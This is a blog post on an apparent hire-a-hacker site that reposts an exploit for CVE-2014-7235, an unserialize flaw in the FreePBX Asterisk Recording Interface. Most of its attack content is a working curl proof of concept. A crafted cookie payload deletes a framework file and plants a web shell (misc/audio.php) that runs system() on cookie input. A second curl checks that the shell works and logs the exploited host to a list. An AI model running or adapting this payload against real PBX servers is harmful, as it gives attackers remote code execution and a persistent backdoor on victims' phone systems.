Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389382

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: Freepbx coockie recordings injection
Google Dork: Ask Santa
Date: 23/12/2016
Exploit Author: inj3ctor3
Vendor Homepage: https://www.freepbx.org/
Software Link: ISO LINKS IN SITE https://www.freepbx.org/
Version: ALL && unpatched/ (Trixbox/freepbx/elastix/pbxinflash/)
Tested on: Centos 6
CVE : CVE-2014-7235

1. Description

a critical Zero-Day Remote Code Execution and Privilege Escalation 
exploit within the legacy “FreePBX ARI Framework module/Asterisk 
Recording Interface (ARI)”.
htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before 2.9.0.9, 2.10.x, 
and 2.11 before 2.11.1.5 allows remote attackers to execute arbitrary code via the ari_auth coockie, 
related to the PHP unserialize function

<?php
.....
...
line 56 $buf = unserialize(stripslashes($_COOKIE['ari_auth']));
 line 57 list($data,$chksum) = $buf;
....
?>

A successful attack may compromise the whole system aiding the hacker to gain

further privileges via taking advantage of famous nmap shell 

without further or do this is a poc code

curl -ks -m20 http://127.0.0.1/recordings/index.php" --cookie "ari_lang=() { :;};php -r 'set_time_limit(0);unlink("page.framework.php");file_put_contents("misc/audio.php", "<?php if(\$_COOKIE[\"lang\"]) {system(\$_COOKIE[\"lang\"]);}die();?>");';ari_auth=O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}};elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0" --data "username=admin&password=admin&submit=btnSubmit" >/dev/null

if curl -ks -m10 "http://127.0.0.1/recordings/misc/audio.php" --cookie "lang=id" | grep asterisk >/dev/null;then echo "127.0.0.1/recordings/misc/audio.php" | tee -a xploited_new.txt;fi